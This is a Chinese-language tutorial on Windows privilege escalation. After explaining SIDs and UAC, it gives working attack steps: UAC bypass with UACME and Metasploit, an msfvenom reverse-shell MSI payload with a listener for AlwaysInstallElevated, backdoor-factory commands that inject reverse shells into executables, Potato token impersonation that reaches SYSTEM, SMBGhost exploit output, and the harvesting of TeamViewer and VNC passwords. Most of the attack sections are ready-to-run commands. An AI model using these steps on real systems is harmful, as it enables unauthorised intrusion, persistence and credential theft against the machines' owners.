windows提权

0x01.windows提权基本介绍

1.提权分类

纵向提权

低权限角色获取高权限角色的权限

横向提权

获取同级别角色的权限

常用提权方法

  • 系统内核溢出漏洞提权
  • 数据库提权
  • 错误的系统配置提权
  • 组策略首选项提权
  • Web中间件漏洞提权
  • DLL劫持提权
  • 滥用高危权限令牌提权
  • 第三方软件/服务提权

2.安全标识符(SID)

安全标识符(SID)是Windows操作系统使用的独一无二的,不变的标识符用于标识用户、用户群、或其他安全主体.操作系统也是通过SID来识别用户的,并不是所谓的用户名
安全标识符一经产生,不会与全世界任何的安全标识符重复;也不随用户更名而变化。如果删除了用户帐户,然后再创建同名帐户,则产生的安全标识符是不同的。

查询自己的SID可以通过:whoami /user

查询其他用户的SID可以通过WMI命令查询:wmic useraccount where name=%username% get sid

所有的SID都以S-1-5-21开头,否则将是唯一的。Windows中管理员帐户的SID始终以500结尾。 Guest帐户的SID总是以501结尾。您还可以在每个与特定内置帐户相对应的Windows安装中找到SID。例如,S-1-5-18 SID可以在您遇到的任何Windows副本中找到,并对应于LocalSystem帐户,即在用户登录之前在Windows中加载的系统帐户。

以下是用户SID的示例:S-1-5-21-1180699209-877415012-3182924384-1004 。 SID是我家用电脑上的帐户号码 - 您的帐号会有所不同。

常见的SID列表:

    S-1-5-18 (LocalSystem)     S-1-5-19 (LocalService)     S-1-5-20 (NetworkService)     S-1-5-32-544 (Administrators)     S-1-5-32-545 (Users)     S-1-5-32-550 (PrintOperators) 

 

3.UAC

用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于windows7、windows8。各种功能策略得到了完善的修订和开发,应用在win10操作系统中,目的是减少恶意软件对系统的侵害(比如大部分的恶意软件、木马病毒、广告插件在进入计算机是都会有如下操作:文件复制到到windows目录,安装驱动,安装activex等操作)。
操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的。
不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC规则的常用操作包括以下内容

  • 运行应用程序
  • 修改注册表文件
  • 安装或者卸载程序
  • 安装设备驱动程序
  • 增加或者删除用户账户
  • 复制文件到windows目录
    用户操作以上内容时就会触发UAC规则,系统会弹出提示对话框。简单来说,弹出对话框操作就是临时提升用户权限,允许程序运行
    image.png

UAC的实现

  • ACL (Access Control List) : Windows中所有资源都有ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。

  • 在开启了UAC之后,如果用户是标准用户,Windows会给用户分配一个标准Access Token

  • 如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动Explorer.exe进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。

  • 可以使用whoami /priv看当前的权限
    image.png

4.提权的基础命令

  • net user 查看用户数量
  • whoami /priv 查看用户权限
  • quser 查看在线用户
    image.png
  • tasklist 查看当前进程
  • net user a a /add 添加用户
  • net localgroup administrators a /add 添加用户到组

0x02.UAC绕过思路

1.Akagi工具获取UAC权限

项目地址:https://github.com/hfiref0x/UACME
下载后进行编译
image.png

调用直接运行cmd。绕过uac启动管理员权限的cmd
image.png

2.MSF获取UAC权限

msf > use exploit/windows/local/bypassuac
msf > set session 1
msf > exploit

没有使用bypassuac这个模块的session,进入shell创建用户

可以看见无法创建新用户,被拒绝
image.png
使用bypassuac重新获取到一个session之后,在进入shell创建用户
image.png
成功创建

3.msi文件直接获取超级管理员权限

我们可以使用msf生成一个msi文件,在windows中,msi文件会以高级管理员权限运行,上线之后的权限就是system.
前提是目标系统上启用AlwaysInstallElevated这个策略
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行明msi文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件以system权限执行任意payload。

  • 首先生成payload
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.137 -f msi -o winx64TCPPayload.msi
    当用户下载该msi执行后,就能获取到system权限
    image.png

  • msf监听获取shell

msf6 exploit(windows/local/bypassuac) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

image.png

msf集成了漏洞利用模块
exploit/windows/local/always_install_elevated

msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > show options
 
Module options (exploit/windows/local/always_install_elevated):
 
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.50.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
 

4.dll后门注入绕过UAC

使用文件绑定形式绑定flash.exe
copy /b+ a.exe+b.exe c.exe

使用backdoor这款工具注入dll或者exe the-backdoor-factory
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444 -s reverse_shell_tcp_inline
如果不知道使用什么后门,可以直接让程序自己判断
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444
image.png

5.计划任务提权

在Windows中可以利用计划任务覆盖原有的程序来进行替换
可以使用如下命令查看计算机上的计划任务。
schtasks /query /fo LIST /v

使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。

accesschk.exe -dqv D:test -accepteula

6.Windows10 以下通杀提权

CVE-2019-1468是Win32特权提升漏洞,可以直接提权windows10以下版本
盖提权可能导致蓝屏的问题
https://github.com/unamer/CVE-2019-1458
image.png

7.JuicyPotato2.exe提权

利用MS16-075漏洞来进行提权
FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tate(https://github.com/Kevin-Robertson/Tater)公布的Tater.ps1利用程序。

  • potato
msf exploit(web_delivery) > set ExitOnsession false
msf exploit(web_delivery) > run
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > getprivs
===========================================================
Enabled Process Privileges
===========================================================
SeAssignPrimaryTokenPrivilege
 
meterpreter > upload /root/potato.exe C:\Users\Public
meterpreter > cd C:\\Users\\Public
meterpreter > use incognito
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
 
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
NT AUTHORITY\SYSTEM
 
meterpreter > impersonate_token NT AUTHORITY\\SYSTEM
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

8.其他

$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

0x03.漏洞提权

1.漏洞提权思路

  • 执行systeminfo命令查看是否出资按漏洞补丁
    systeminfo > 1.txt
  • 使用工具网站https://i.hacking8.com/tiquan
    image.png

2.第三方软件提权

  • 3389远程桌面

  • Teamviewer
    通过工具sharpDecryptPwd.exe 收集teamviewer的id和密码
    image.png

  • vnc-控制桌面
    通过工具LaZagne获取vnc的密码
    image.png

  • filezilla-权限较高

  • sql server-sa权限

0x04.提权思路

image.png

参考

安全标识符(SID)